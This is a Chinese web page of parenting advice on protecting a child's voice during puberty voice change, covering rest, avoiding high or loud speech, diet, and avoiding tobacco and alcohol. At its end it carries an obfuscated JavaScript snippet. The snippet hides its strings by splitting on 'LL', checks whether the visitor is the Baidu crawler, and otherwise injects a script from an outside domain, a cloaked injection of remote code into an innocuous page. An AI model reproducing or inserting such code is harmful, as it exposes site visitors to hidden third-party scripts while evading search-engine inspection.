當(dāng)前位置:首頁(yè) > 母嬰 > 育兒知識(shí) > 正文

小孩變聲期要如何保護(hù)嗓子

2017-04-09 06:35:25  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):我們知道嗓子對(duì)我們的重要性,我們通過(guò)嗓子發(fā)音來(lái)與其他人交流。當(dāng)我們慢慢從小孩一點(diǎn)一點(diǎn)的成長(zhǎng)為大人,我們的聲音會(huì)發(fā)生一個(gè)變化,俗稱變

我們知道嗓子對(duì)我們的重要性,我們通過(guò)嗓子發(fā)音來(lái)與其他人交流。當(dāng)我們慢慢從小孩一點(diǎn)一點(diǎn)的成長(zhǎng)為大人,我們的聲音會(huì)發(fā)生一個(gè)變化,俗稱變聲期,變聲期如果不好好保護(hù)好嗓子,很可能就會(huì)使嗓子受到傷害。那么,小孩變聲期要如何保護(hù)嗓子呢?讓我們通過(guò)下文來(lái)了解一下吧!

張口講

到變聲期的時(shí)候,因?yàn)槁曇綦y聽(tīng),許多孩子不愿意開(kāi)口講話,這就會(huì)讓孩子產(chǎn)生抑郁或者是郁悶的情緒,這種不好,如果想要健康而且樂(lè)觀地把聲變好的話,就要大膽地講話,不要害羞在,也不要膽怯。

避高音

變聲期的孩子,要注意,一定要避免發(fā)高音,尤其是在唱歌的時(shí)候,不能一直唱高音的歌曲,這樣,不僅不利于變音,而且夫損傷自己的嗓子。

避長(zhǎng)時(shí)間講話

有些孩子在變聲期,雖然不會(huì)害羞,還是會(huì)大量講話,可是這樣做也是不好的。這要,只會(huì)加重嗓子的負(fù)擔(dān),家長(zhǎng)在這個(gè)時(shí)候,要建議孩子,注意講話的頻率,也要注意少講話,以此讓嗓子得到休息,從而度過(guò)變聲期。

避大聲講話

因?yàn)槭亲兟暺?,所以講話的時(shí)候,一定要輕聲輕語(yǔ),以免嗓子更過(guò)分地充血而導(dǎo)致變聲向難堪的方向發(fā)展。要多休息,不僅讓身體休息,也要讓嗓子休息,減少嗓子充血的過(guò)程,從而讓變聲期能正常地發(fā)育。

變聲期的飲食

變聲的時(shí)候,也要注意飲食的搭配,記得,多吃蔬菜水果,不要吃辛辣的,油膩的等刺激性的食物,在追求學(xué)習(xí)成績(jī)的時(shí)候,家長(zhǎng)也要讓孩子注意休息,養(yǎng)成按時(shí)起床睡覺(jué)的好習(xí)慣。

忌煙酒

許多孩子在變聲期的時(shí)候,也是小男子漢的時(shí)候,常會(huì)抽煙喝酒,而建議這個(gè)時(shí)候,家長(zhǎng)要多注意,不要讓孩子染上這些壞毛病。孩子自己也要小心,不能因?yàn)闊熅贫鴤α俗约旱纳ぷ印?/p>

通過(guò)上文的介紹,相信你已經(jīng)知道小孩變聲期要如何保護(hù)嗓子了吧!你也知道在變聲期保護(hù)嗓子的重要性了吧!所以,在變聲期的時(shí)候,一定要保護(hù)好我們的嗓子,孩子還小不太懂事的,家長(zhǎng)應(yīng)該提醒孩子,讓孩子知道保護(hù)嗓子的重要性。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}